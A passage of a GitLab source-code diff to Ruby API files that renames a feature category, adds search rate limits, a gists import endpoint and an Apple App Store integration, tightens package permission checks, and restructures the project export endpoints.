# rubocop:disable Gitlab/ModuleWithInstanceVariables
def initial_current_user
return @initial_current_user if defined?(@initial_current_user)
diff --git a/lib/api/helpers/award_emoji.rb b/lib/api/helpers/award_emoji.rb
index f8417366ea4..f0b3cafc3d2 100644
--- a/lib/api/helpers/award_emoji.rb
+++ b/lib/api/helpers/award_emoji.rb
@@ -6,7 +6,7 @@ module API
def self.awardables
[
{ type: 'issue', resource: :projects, find_by: :iid, feature_category: :team_planning },
- { type: 'merge_request', resource: :projects, find_by: :iid, feature_category: :code_review },
+ { type: 'merge_request', resource: :projects, find_by: :iid, feature_category: :code_review_workflow },
{ type: 'snippet', resource: :projects, find_by: :id, feature_category: :source_code_management }
]
end
diff --git a/lib/api/helpers/discussions_helpers.rb b/lib/api/helpers/discussions_helpers.rb
index 182ada54a12..d497bc66015 100644
--- a/lib/api/helpers/discussions_helpers.rb
+++ b/lib/api/helpers/discussions_helpers.rb
@@ -9,8 +9,8 @@ module API
{
Issue => :team_planning,
Snippet => :source_code_management,
- MergeRequest => :code_review,
- Commit => :code_review
+ MergeRequest => :code_review_workflow,
+ Commit => :code_review_workflow
}
end
end
diff --git a/lib/api/helpers/integrations_helpers.rb b/lib/api/helpers/integrations_helpers.rb
index 543449c0349..31328facd69 100644
--- a/lib/api/helpers/integrations_helpers.rb
+++ b/lib/api/helpers/integrations_helpers.rb
@@ -63,6 +63,12 @@ module API
},
{
required: false,
+ name: :incident_channel,
+ type: String,
+ desc: 'The name of the channel to receive incident_events notifications'
+ },
+ {
+ required: false,
name: :confidential_issue_channel,
type: String,
desc: 'The name of the channel to receive confidential_issues_events notifications'
@@ -116,6 +122,12 @@ module API
},
{
required: false,
+ name: :incident_events,
+ type: Boolean,
+ desc: 'Enable notifications for incident_events'
+ },
+ {
+ required: false,
name: :confidential_issues_events,
type: Boolean,
desc: 'Enable notifications for confidential_issues_events'
@@ -161,6 +173,26 @@ module API
def self.integrations
{
+ 'apple-app-store' => [
+ {
+ required: true,
+ name: :app_store_issuer_id,
+ type: String,
+ desc: 'The Apple App Store Connect Issuer ID'
+ },
+ {
+ required: true,
+ name: :app_store_key_id,
+ type: String,
+ desc: 'The Apple App Store Connect Key ID'
+ },
+ {
+ required: true,
+ name: :app_store_private_key,
+ type: String,
+ desc: 'The Apple App Store Connect Private Key'
+ }
+ ],
'asana' => [
{
required: true,
@@ -871,6 +903,7 @@ module API
def self.integration_classes
[
+ ::Integrations::AppleAppStore,
::Integrations::Asana,
::Integrations::Assembla,
::Integrations::Bamboo,
diff --git a/lib/api/helpers/members_helpers.rb b/lib/api/helpers/members_helpers.rb
index 6a3cf5c87ae..b0ea4388d9b 100644
--- a/lib/api/helpers/members_helpers.rb
+++ b/lib/api/helpers/members_helpers.rb
@@ -40,6 +40,9 @@ module API
end
def source_members(source)
+ return source.namespace_members if source.is_a?(Project) &&
+ Feature.enabled?(:project_members_index_by_project_namespace, source)
+
source.members
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/api/helpers/notes_helpers.rb b/lib/api/helpers/notes_helpers.rb
index 302dac4abf7..da499abe475 100644
--- a/lib/api/helpers/notes_helpers.rb
+++ b/lib/api/helpers/notes_helpers.rb
@@ -8,7 +8,7 @@ module API
def self.feature_category_per_noteable_type
{
Issue => :team_planning,
- MergeRequest => :code_review,
+ MergeRequest => :code_review_workflow,
Snippet => :source_code_management
}
end
diff --git a/lib/api/helpers/packages_helpers.rb b/lib/api/helpers/packages_helpers.rb
index 8d913268405..1d35c316913 100644
--- a/lib/api/helpers/packages_helpers.rb
+++ b/lib/api/helpers/packages_helpers.rb
@@ -6,6 +6,7 @@ module API
extend ::Gitlab::Utils::Override
MAX_PACKAGE_FILE_SIZE = 50.megabytes.freeze
+ ALLOWED_REQUIRED_PERMISSIONS = %i[read_package read_group].freeze
def require_packages_enabled!
not_found! unless ::Gitlab.config.packages.enabled
@@ -27,9 +28,15 @@ module API
authorize!(:destroy_package, subject)
end
- def authorize_packages_access!(subject = user_project)
+ def authorize_packages_access!(subject = user_project, required_permission = :read_package)
require_packages_enabled!
- authorize_read_package!(subject)
+ return forbidden! unless required_permission.in?(ALLOWED_REQUIRED_PERMISSIONS)
+
+ if required_permission == :read_package
+ authorize_read_package!(subject)
+ else
+ authorize!(required_permission, subject)
+ end
end
def authorize_workhorse!(subject: user_project, has_length: true, maximum_size: MAX_PACKAGE_FILE_SIZE)
diff --git a/lib/api/helpers/pagination_strategies.rb b/lib/api/helpers/pagination_strategies.rb
index 4e244ea589e..5fbc3081ee8 100644
--- a/lib/api/helpers/pagination_strategies.rb
+++ b/lib/api/helpers/pagination_strategies.rb
@@ -3,13 +3,14 @@
module API
module Helpers
module PaginationStrategies
- def paginate_with_strategies(relation, request_scope = nil)
+ # paginator_params are only currently supported with offset pagination
+ def paginate_with_strategies(relation, request_scope = nil, paginator_params: {})
paginator = paginator(relation, request_scope)
result = if block_given?
- yield(paginator.paginate(relation))
+ yield(paginator.paginate(relation, **paginator_params))
else
- paginator.paginate(relation)
+ paginator.paginate(relation, **paginator_params)
end
result.tap do |records, _|
diff --git a/lib/api/helpers/projects_helpers.rb b/lib/api/helpers/projects_helpers.rb
index 9d370176e62..c5636fa06de 100644
--- a/lib/api/helpers/projects_helpers.rb
+++ b/lib/api/helpers/projects_helpers.rb
@@ -205,6 +205,9 @@ module API
def filter_attributes_using_license!(attrs)
end
+ def filter_attributes_under_feature_flag!(attrs, project)
+ end
+
def validate_git_import_url!(import_url)
return if import_url.blank?
diff --git a/lib/api/helpers/rate_limiter.rb b/lib/api/helpers/rate_limiter.rb
index 03f3cd649b1..be92277c25a 100644
--- a/lib/api/helpers/rate_limiter.rb
+++ b/lib/api/helpers/rate_limiter.rb
@@ -10,25 +10,14 @@ module API
# See app/controllers/concerns/check_rate_limit.rb for Rails controllers version
module RateLimiter
def check_rate_limit!(key, scope:, **options)
- return if bypass_header_set?
- return unless rate_limiter.throttled?(key, scope: scope, **options)
-
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
+ return unless Gitlab::ApplicationRateLimiter.throttled_request?(
+ request, current_user, key, scope: scope, **options
+ )
return yield if block_given?
render_api_error!({ error: _('This endpoint has been requested too many times. Try again later.') }, 429)
end
-
- private
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
-
- def bypass_header_set?
- ::Gitlab::Throttle.bypass_header.present? && request.get_header(Gitlab::Throttle.bypass_header) == '1'
- end
end
end
end
diff --git a/lib/api/helpers/remote_mirrors_helpers.rb b/lib/api/helpers/remote_mirrors_helpers.rb
new file mode 100644
index 00000000000..efd81a5ac5a
--- /dev/null
+++ b/lib/api/helpers/remote_mirrors_helpers.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module API
+ module Helpers
+ module RemoteMirrorsHelpers
+ extend ActiveSupport::Concern
+ extend Grape::API::Helpers
+
+ params :mirror_branches_setting_ce do
+ optional :only_protected_branches, type: Boolean, desc: 'Determines if only protected branches are mirrored'
+ end
+
+ params :mirror_branches_setting_ee do
+ end
+
+ params :mirror_branches_setting do
+ use :mirror_branches_setting_ce
+ use :mirror_branches_setting_ee
+ end
+
+ def verify_mirror_branches_setting(attrs, project); end
+ end
+ end
+end
+
+API::Helpers::RemoteMirrorsHelpers.prepend_mod
diff --git a/lib/api/helpers/resource_events_helpers.rb b/lib/api/helpers/resource_events_helpers.rb
index c47a58e8fce..11cb65056cd 100644
--- a/lib/api/helpers/resource_events_helpers.rb
+++ b/lib/api/helpers/resource_events_helpers.rb
@@ -7,7 +7,7 @@ module API
# This is a method instead of a constant, allowing EE to more easily extend it.
{
Issue => { feature_category: :team_planning, id_field: 'IID' },
- MergeRequest => { feature_category: :code_review, id_field: 'IID' }
+ MergeRequest => { feature_category: :code_review_workflow, id_field: 'IID' }
}
end
end
diff --git a/lib/api/import_github.rb b/lib/api/import_github.rb
index d742e3732a8..6330a4458f3 100644
--- a/lib/api/import_github.rb
+++ b/lib/api/import_github.rb
@@ -8,6 +8,7 @@ module API
urgency :low
rescue_from Octokit::Unauthorized, with: :provider_unauthorized
+ rescue_from Gitlab::GithubImport::RateLimitError, with: :too_many_requests
helpers do
def client
@@ -33,6 +34,10 @@ module API
def provider_unauthorized
error!("Access denied to your #{Gitlab::ImportSources.title(provider.to_s)} account.", 401)
end
+
+ def too_many_requests
+ error!('Too Many Requests', 429)
+ end
end
desc 'Import a GitHub project' do
@@ -51,7 +56,7 @@ module API
requires :personal_access_token, type: String, desc: 'GitHub personal access token'
requires :repo_id, type: Integer, desc: 'GitHub repository ID'
optional :new_name, type: String, desc: 'New repo name'
- requires :target_namespace, type: String, desc: 'Namespace to import repo into'
+ requires :target_namespace, type: String, allow_blank: false, desc: 'Namespace or group to import repository into'
optional :github_hostname, type: String, desc: 'Custom GitHub enterprise hostname'
optional :optional_stages, type: Hash, desc: 'Optional stages of import to be performed'
end
@@ -92,5 +97,32 @@ module API
render_api_error!(result[:message], result[:http_status])
end
end
+
+ desc 'Import User Gists' do
+ detail 'This feature was introduced in GitLab 15.8'
+ success code: 202
+ failure [
+ { code: 401, message: 'Unauthorized' },
+ { code: 422, message: 'Unprocessable Entity' },
+ { code: 429, message: 'Too Many Requests' }
+ ]
+ end
+ params do
+ requires :personal_access_token, type: String, desc: 'GitHub personal access token'
+ end
+ post 'import/github/gists' do
+ not_found! if Feature.disabled?(:github_import_gists)
+
+ authorize! :create_snippet
+
+ result = Import::Github::GistsImportService.new(current_user, client, access_params).execute
+
+ if result[:status] == :success
+ status 202
+ else
+ status result[:http_status]
+ { errors: result[:message] }
+ end
+ end
end
end
diff --git a/lib/api/internal/base.rb b/lib/api/internal/base.rb
index dbd5c5f9db1..3f6e052f7b6 100644
--- a/lib/api/internal/base.rb
+++ b/lib/api/internal/base.rb
@@ -44,16 +44,12 @@ module API
# This is a separate method so that EE can alter its behaviour more
# easily.
- if Feature.enabled?(:rate_limit_gitlab_shell)
- check_rate_limit!(:gitlab_shell_operation, scope: [params[:action], params[:project], actor.key_or_user])
- end
+ check_rate_limit!(:gitlab_shell_operation, scope: [params[:action], params[:project], actor.key_or_user])
- if Feature.enabled?(:rate_limit_gitlab_shell_by_ip, actor.user)
- rate_limiter = Gitlab::Auth::IpRateLimiter.new(request.ip)
+ rate_limiter = Gitlab::Auth::IpRateLimiter.new(request.ip)
- unless rate_limiter.trusted_ip?
- check_rate_limit!(:gitlab_shell_operation, scope: [params[:action], params[:project], rate_limiter.ip])
- end
+ unless rate_limiter.trusted_ip?
+ check_rate_limit!(:gitlab_shell_operation, scope: [params[:action], params[:project], rate_limiter.ip])
end
# Stores some Git-specific env thread-safely
diff --git a/lib/api/invitations.rb b/lib/api/invitations.rb
index 6aefdf146cf..872dab26469 100644
--- a/lib/api/invitations.rb
+++ b/lib/api/invitations.rb
@@ -90,7 +90,7 @@ module API
.new(current_user, update_params)
.execute(invite)
- updated_member = result[:member]
+ updated_member = result[:members].first
if result[:status] == :success
present_members updated_member
diff --git a/lib/api/issues.rb b/lib/api/issues.rb
index b08819e34e3..7b6306938cf 100644
--- a/lib/api/issues.rb
+++ b/lib/api/issues.rb
@@ -116,6 +116,7 @@ module API
get '/issues_statistics' do
authenticate! unless params[:scope] == 'all'
validate_anonymous_search_access! if params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
present issues_statistics, with: Grape::Presenters::Presenter
end
@@ -134,6 +135,7 @@ module API
get do
authenticate! unless params[:scope] == 'all'
validate_anonymous_search_access! if params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
issues = paginate(find_issues)
options = {
@@ -173,6 +175,7 @@ module API
end
get ":id/issues" do
validate_anonymous_search_access! if declared_params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
issues = paginate(find_issues(group_id: user_group.id, include_subgroups: true))
options = {
@@ -192,6 +195,7 @@ module API
end
get ":id/issues_statistics" do
validate_anonymous_search_access! if declared_params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
present issues_statistics(group_id: user_group.id, include_subgroups: true), with: Grape::Presenters::Presenter
end
@@ -211,6 +215,7 @@ module API
end
get ":id/issues" do
validate_anonymous_search_access! if declared_params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
issues = paginate(find_issues(project_id: user_project.id))
options = {
@@ -230,6 +235,7 @@ module API
end
get ":id/issues_statistics" do
validate_anonymous_search_access! if declared_params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
present issues_statistics(project_id: user_project.id), with: Grape::Presenters::Presenter
end
diff --git a/lib/api/members.rb b/lib/api/members.rb
index 76f4364106b..32c5227a939 100644
--- a/lib/api/members.rb
+++ b/lib/api/members.rb
@@ -151,7 +151,7 @@ module API
.new(current_user, declared_params(include_missing: false))
.execute(member)
- updated_member = result[:member]
+ updated_member = result[:members].first
if result[:status] == :success
present_members updated_member
diff --git a/lib/api/merge_request_diffs.rb b/lib/api/merge_request_diffs.rb
index c7f0f88eacc..e7193035ce0 100644
--- a/lib/api/merge_request_diffs.rb
+++ b/lib/api/merge_request_diffs.rb
@@ -7,7 +7,7 @@ module API
before { authenticate! }
- feature_category :code_review
+ feature_category :code_review_workflow
params do
requires :id, types: [String, Integer], desc: 'The ID or URL-encoded path of the project'
diff --git a/lib/api/merge_requests.rb b/lib/api/merge_requests.rb
index a9572cf7ce6..25fbeca01dc 100644
--- a/lib/api/merge_requests.rb
+++ b/lib/api/merge_requests.rb
@@ -13,7 +13,7 @@ module API
# These endpoints are defined in `TimeTrackingEndpoints` and is shared by
# API::Issues. In order to be able to define the feature category of these
# endpoints, we need to define them at the top-level by route.
- feature_category :code_review, [
+ feature_category :code_review_workflow, [
'/projects/:id/merge_requests/:merge_request_iid/time_estimate',
'/projects/:id/merge_requests/:merge_request_iid/reset_time_estimate',
'/projects/:id/merge_requests/:merge_request_iid/add_spent_time',
@@ -105,20 +105,12 @@ module API
options
end
- def authorize_push_to_merge_request!(merge_request)
- forbidden!('Source branch does not exist') unless
- merge_request.source_branch_exists?
+ def authorize_merge_request_rebase!(merge_request)
+ result = ::MergeRequests::RebaseService
+ .new(project: merge_request.source_project, current_user: current_user)
+ .validate(merge_request)
- user_access = Gitlab::UserAccess.new(
- current_user,
- container: merge_request.source_project
- )
-
- forbidden!('Cannot push to source branch') unless
- user_access.can_push_to_branch?(merge_request.source_branch)
-
- forbidden!('Source branch is protected from force push') unless
- merge_request.permits_force_push?
+ forbidden!(result.message) if result.error?
end
def recheck_mergeability_of(merge_requests:)
@@ -146,9 +138,10 @@ module API
use :merge_requests_params
use :optional_scope_param
end
- get feature_category: :code_review, urgency: :low do
+ get feature_category: :code_review_workflow, urgency: :low do
authenticate! unless params[:scope] == 'all'
validate_anonymous_search_access! if params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
merge_requests = find_merge_requests
present merge_requests, serializer_options_for(merge_requests)
@@ -175,8 +168,9 @@ module API
default: true,
desc: 'Returns merge requests from non archived projects only.'
end
- get ":id/merge_requests", feature_category: :code_review, urgency: :low do
+ get ":id/merge_requests", feature_category: :code_review_workflow, urgency: :low do
validate_anonymous_search_access! if declared_params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
merge_requests = find_merge_requests(group_id: user_group.id, include_subgroups: true)
present merge_requests, serializer_options_for(merge_requests).merge(group: user_group)
@@ -241,9 +235,10 @@ module API
desc: 'Returns the request having the given `iid`.',
documentation: { is_array: true }
end
- get ":id/merge_requests", feature_category: :code_review, urgency: :low do
+ get ":id/merge_requests", feature_category: :code_review_workflow, urgency: :low do
authorize! :read_merge_request, user_project
validate_anonymous_search_access! if declared_params[:search].present?
+ validate_search_rate_limit! if declared_params[:search].present?
merge_requests = find_merge_requests(project_id: user_project.id)
@@ -286,7 +281,7 @@ module API
desc: 'The target project of the merge request defaults to the :id of the project.'
use :optional_params
end
- post ":id/merge_requests", feature_category: :code_review, urgency: :low do
+ post ":id/merge_requests", feature_category: :code_review_workflow, urgency: :low do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20770')
authorize! :create_merge_request_from, user_project
@@ -314,7 +309,7 @@ module API
params do
requires :merge_request_iid, type: Integer, desc: 'The internal ID of the merge request.'
end
- delete ":id/merge_requests/:merge_request_iid", feature_category: :code_review, urgency: :low do
+ delete ":id/merge_requests/:merge_request_iid", feature_category: :code_review_workflow, urgency: :low do
merge_request = find_project_merge_request(params[:merge_request_iid])
authorize!(:destroy_merge_request, merge_request)
@@ -339,7 +334,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
present merge_request,
@@ -360,7 +355,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid/participants', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid/participants', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
participants = ::Kaminari.paginate_array(merge_request.visible_participants(current_user))
@@ -376,7 +371,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid/reviewers', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid/reviewers', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
reviewers = ::Kaminari.paginate_array(merge_request.merge_request_reviewers)
@@ -392,7 +387,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid/commits', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid/commits', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
commits =
@@ -410,7 +405,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review, urgency: :high do
+ get ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review_workflow, urgency: :high do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
context_commits =
paginate(merge_request.merge_request_context_commits).map(&:to_commit)
@@ -434,7 +429,7 @@ module API
]
tags %w[merge_requests]
end
- post ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review do
+ post ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review_workflow do
commit_ids = params[:commits]
if commit_ids.size > CONTEXT_COMMITS_POST_LIMIT
@@ -471,7 +466,7 @@ module API
]
tags %w[merge_requests]
end
- delete ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review do
+ delete ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review_workflow do
commit_ids = params[:commits]
merge_request = find_merge_request_with_access(params[:merge_request_iid])
@@ -495,7 +490,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid/changes', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid/changes', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
present merge_request,
@@ -517,7 +512,7 @@ module API
params do
use :pagination
end
- get ':id/merge_requests/:merge_request_iid/diffs', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid/diffs', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
present paginate(merge_request.merge_request_diff.paginated_diffs(params[:page], params[:per_page])).diffs, with: Entities::Diff
@@ -585,7 +580,7 @@ module API
use :optional_params
at_least_one_of(*::API::MergeRequests.update_params_at_least_one_of)
end
- put ':id/merge_requests/:merge_request_iid', feature_category: :code_review, urgency: :low do
+ put ':id/merge_requests/:merge_request_iid', feature_category: :code_review_workflow, urgency: :low do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20772')
merge_request = find_merge_request_with_access(params.delete(:merge_request_iid), :update_merge_request)
@@ -627,7 +622,7 @@ module API
optional :sha, type: String, desc: 'If present, then this SHA must match the HEAD of the source branch, otherwise the merge fails.'
optional :squash, type: Grape::API::Boolean, desc: 'If `true`, the commits are squashed into a single commit on merge.'
end
- put ':id/merge_requests/:merge_request_iid/merge', feature_category: :code_review, urgency: :low do
+ put ':id/merge_requests/:merge_request_iid/merge', feature_category: :code_review_workflow, urgency: :low do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/4796')
merge_request = find_project_merge_request(params[:merge_request_iid])
@@ -678,7 +673,7 @@ module API
]
tags %w[merge_requests]
end
- get ':id/merge_requests/:merge_request_iid/merge_ref', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid/merge_ref', feature_category: :code_review_workflow do
merge_request = find_project_merge_request(params[:merge_request_iid])
result = ::MergeRequests::MergeabilityCheckService.new(merge_request).execute(recheck: true)
@@ -701,7 +696,7 @@ module API
]
tags %w[merge_requests]
end
- post ':id/merge_requests/:merge_request_iid/cancel_merge_when_pipeline_succeeds', feature_category: :code_review do
+ post ':id/merge_requests/:merge_request_iid/cancel_merge_when_pipeline_succeeds', feature_category: :code_review_workflow do
merge_request = find_project_merge_request(params[:merge_request_iid])
unauthorized! unless merge_request.can_cancel_auto_merge?(current_user)
@@ -721,10 +716,10 @@ module API
params do
optional :skip_ci, type: Boolean, desc: 'Set to true to skip creating a CI pipeline.'
end
- put ':id/merge_requests/:merge_request_iid/rebase', feature_category: :code_review, urgency: :low do
+ put ':id/merge_requests/:merge_request_iid/rebase', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_project_merge_request(params[:merge_request_iid])
- authorize_push_to_merge_request!(merge_request)
+ authorize_merge_request_rebase!(merge_request)
merge_request.rebase_async(current_user.id, skip_ci: params[:skip_ci])
@@ -744,7 +739,7 @@ module API
params do
use :pagination
end
- get ':id/merge_requests/:merge_request_iid/closes_issues', feature_category: :code_review, urgency: :low do
+ get ':id/merge_requests/:merge_request_iid/closes_issues', feature_category: :code_review_workflow, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
issues = ::Kaminari.paginate_array(merge_request.visible_closing_issues_for(current_user))
issues = paginate(issues)
diff --git a/lib/api/ml/mlflow.rb b/lib/api/ml/mlflow.rb
index 54bbe0ee465..e7ed8e2e70c 100644
--- a/lib/api/ml/mlflow.rb
+++ b/lib/api/ml/mlflow.rb
@@ -166,9 +166,10 @@ module API
default: 0
optional :user_id, type: String, desc: 'This will be ignored'
optional :tags, type: Array, desc: 'Tags are stored, but not displayed'
+ optional :run_name, type: String, desc: 'A name for this run'
end
post 'create', urgency: :low do
- present candidate_repository.create!(experiment, params[:start_time], params[:tags]),
+ present candidate_repository.create!(experiment, params[:start_time], params[:tags], params[:run_name]),
with: Entities::Ml::Mlflow::Run, packages_url: packages_url
end
diff --git a/lib/api/nuget_group_packages.rb b/lib/api/nuget_group_packages.rb
index c93b24ee544..2afcb915b06 100644
--- a/lib/api/nuget_group_packages.rb
+++ b/lib/api/nuget_group_packages.rb
@@ -42,6 +42,10 @@ module API
def snowplow_gitlab_standard_context
{ namespace: find_authorized_group! }
end
+
+ def required_permission
+ :read_group
+ end
end
params do
diff --git a/lib/api/nuget_project_packages.rb b/lib/api/nuget_project_packages.rb
index aa517661791..8e974cb9cbe 100644
--- a/lib/api/nuget_project_packages.rb
+++ b/lib/api/nuget_project_packages.rb
@@ -90,6 +90,10 @@ module API
created!
end
+
+ def required_permission
+ :read_package
+ end
end
params do
diff --git a/lib/api/pages_domains.rb b/lib/api/pages_domains.rb
index 967847a8e62..15c1a78839f 100644
--- a/lib/api/pages_domains.rb
+++ b/lib/api/pages_domains.rb
@@ -54,7 +54,7 @@ module API
end
params do
- requires :id, types: [String, Integer], desc: 'The ID or URL-encoded path of the project'
+ requires :id, types: [String, Integer], desc: 'The ID or URL-encoded path of the project owned by the authenticated user'
end
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
before do
@@ -63,6 +63,8 @@ module API
desc 'Get all pages domains' do
success Entities::PagesDomain
+ tags %w[pages_domains]
+ is_array true
end
params do
use :pagination
diff --git a/lib/api/project_debian_distributions.rb b/lib/api/project_debian_distributions.rb
index 1e27f5c8856..856b4097b5a 100644
--- a/lib/api/project_debian_distributions.rb
+++ b/lib/api/project_debian_distributions.rb
@@ -14,13 +14,13 @@ module API
after_validation do
require_packages_enabled!
- not_found! unless ::Feature.enabled?(:debian_packages, user_project)
+ not_found! unless ::Feature.enabled?(:debian_packages, project_or_group)
end
namespace ':id' do
helpers do
- def project_or_group
- user_project
+ def project_or_group(action = :read_package)
+ user_project(action: action)
end
end
diff --git a/lib/api/project_export.rb b/lib/api/project_export.rb
index e4e950fb603..19e5ed3f9e0 100644
--- a/lib/api/project_export.rb
+++ b/lib/api/project_export.rb
@@ -5,109 +5,114 @@ module API
feature_category :importers
urgency :low
- before do
- not_found! unless Gitlab::CurrentSettings.project_export_enabled?
- authorize_admin_project
- end
-
params do
requires :id, types: [String, Integer], desc: 'The ID or URL-encoded path of the project'
end
resource :projects, requirements: { id: %r{[^/]+} } do
- desc 'Get export status' do
- detail 'This feature was introduced in GitLab 10.6.'
- success code: 200, model: Entities::ProjectExportStatus
- failure [
- { code: 401, message: 'Unauthorized' },
- { code: 403, message: 'Forbidden' },
- { code: 404, message: 'Not found' },
- { code: 503, message: 'Service unavailable' }
- ]
- tags ['project_export']
- end
- get ':id/export' do
- present user_project, with: Entities::ProjectExportStatus
- end
+ resource do
+ before do
+ not_found! unless Gitlab::CurrentSettings.project_export_enabled?
- desc 'Download export' do
- detail 'This feature was introduced in GitLab 10.6.'
- success code: 200
- failure [
- { code: 401, message: 'Unauthorized' },
- { code: 403, message: 'Forbidden' },
- { code: 404, message: 'Not found' },
- { code: 503, message: 'Service unavailable' }
- ]
- tags ['project_export']
- produces %w[application/octet-stream application/json]
- end
- get ':id/export/download' do
- check_rate_limit! :project_download_export, scope: [current_user, user_project.namespace]
+ authorize_admin_project
+ end
+
+ desc 'Get export status' do
+ detail 'This feature was introduced in GitLab 10.6.'
+ success code: 200, model: Entities::ProjectExportStatus
+ failure [
+ { code: 401, message: 'Unauthorized' },
+ { code: 403, message: 'Forbidden' },
+ { code: 404, message: 'Not found' },
+ { code: 503, message: 'Service unavailable' }
+ ]
+ tags ['project_export']
+ end
+ get ':id/export' do
+ present user_project, with: Entities::ProjectExportStatus
+ end
- if user_project.export_file_exists?
- if user_project.export_archive_exists?
- present_carrierwave_file!(user_project.export_file)
+ desc 'Download export' do
+ detail 'This feature was introduced in GitLab 10.6.'
+ success code: 200
+ failure [
+ { code: 401, message: 'Unauthorized' },
+ { code: 403, message: 'Forbidden' },
+ { code: 404, message: 'Not found' },
+ { code: 503, message: 'Service unavailable' }
+ ]
+ tags ['project_export']
+ produces %w[application/octet-stream application/json]
+ end
+ get ':id/export/download' do
+ check_rate_limit! :project_download_export, scope: [current_user, user_project.namespace]
+
+ if user_project.export_file_exists?
+ if user_project.export_archive_exists?
+ present_carrierwave_file!(user_project.export_file)
+ else
+ render_api_error!('The project export file is not available yet', 404)
+ end
else
- render_api_error!('The project export file is not available yet', 404)
+ render_api_error!('404 Not found or has expired', 404)
end
- else
- render_api_error!('404 Not found or has expired', 404)
end
- end
- desc 'Start export' do
- detail 'This feature was introduced in GitLab 10.6.'
- success code: 202
- failure [
- { code: 400, message: 'Bad request' },
- { code: 401, message: 'Unauthorized' },
- { code: 403, message: 'Forbidden' },
- { code: 404, message: 'Not found' },
- { code: 429, message: 'Too many requests' },
- { code: 503, message: 'Service unavailable' }
- ]
- tags ['project_export']
- end
- params do
- optional :description, type: String, desc: 'Override the project description'
- optional :upload, type: Hash do
- optional :url, type: String, desc: 'The URL to upload the project'
- optional :http_method, type: String, default: 'PUT', values: %w[PUT POST],
- desc: 'HTTP method to upload the exported project'
+ desc 'Start export' do
+ detail 'This feature was introduced in GitLab 10.6.'
+ success code: 202
+ failure [
+ { code: 400, message: 'Bad request' },
+ { code: 401, message: 'Unauthorized' },
+ { code: 403, message: 'Forbidden' },
+ { code: 404, message: 'Not found' },
+ { code: 429, message: 'Too many requests' },
+ { code: 503, message: 'Service unavailable' }
+ ]
+ tags ['project_export']
end
- end
- post ':id/export' do
- check_rate_limit! :project_export, scope: current_user
+ params do
+ optional :description, type: String, desc: 'Override the project description'
+ optional :upload, type: Hash do
+ optional :url, type: String, desc: 'The URL to upload the project'
+ optional :http_method, type: String, default: 'PUT', values: %w[PUT POST],
+ desc: 'HTTP method to upload the exported project'
+ end
+ end
+ post ':id/export' do
+ check_rate_limit! :project_export, scope: current_user
- user_project.remove_exports
+ user_project.remove_exports
- project_export_params = declared_params(include_missing: false)
- after_export_params = project_export_params.delete(:upload) || {}
+ project_export_params = declared_params(include_missing: false)
+ after_export_params = project_export_params.delete(:upload) || {}
- export_strategy = if after_export_params[:url].present?
- params = after_export_params.slice(:url, :http_method).symbolize_keys
+ export_strategy = if after_export_params[:url].present?
+ params = after_export_params.slice(:url, :http_method).symbolize_keys
- Gitlab::ImportExport::AfterExportStrategies::WebUploadStrategy.new(**params)
- end
+ Gitlab::ImportExport::AfterExportStrategies::WebUploadStrategy.new(**params)
+ end
- if export_strategy&.invalid?
- render_validation_error!(export_strategy)
- else
- begin
- user_project.add_export_job(current_user: current_user,
- after_export_strategy: export_strategy,
- params: project_export_params)
- rescue Project::ExportLimitExceeded => e
- render_api_error!(e.message, 400)
+ if export_strategy&.invalid?
+ render_validation_error!(export_strategy)
+ else
+ begin
+ user_project.add_export_job(current_user: current_user,
+ after_export_strategy: export_strategy,
+ params: project_export_params)
+ rescue Project::ExportLimitExceeded => e
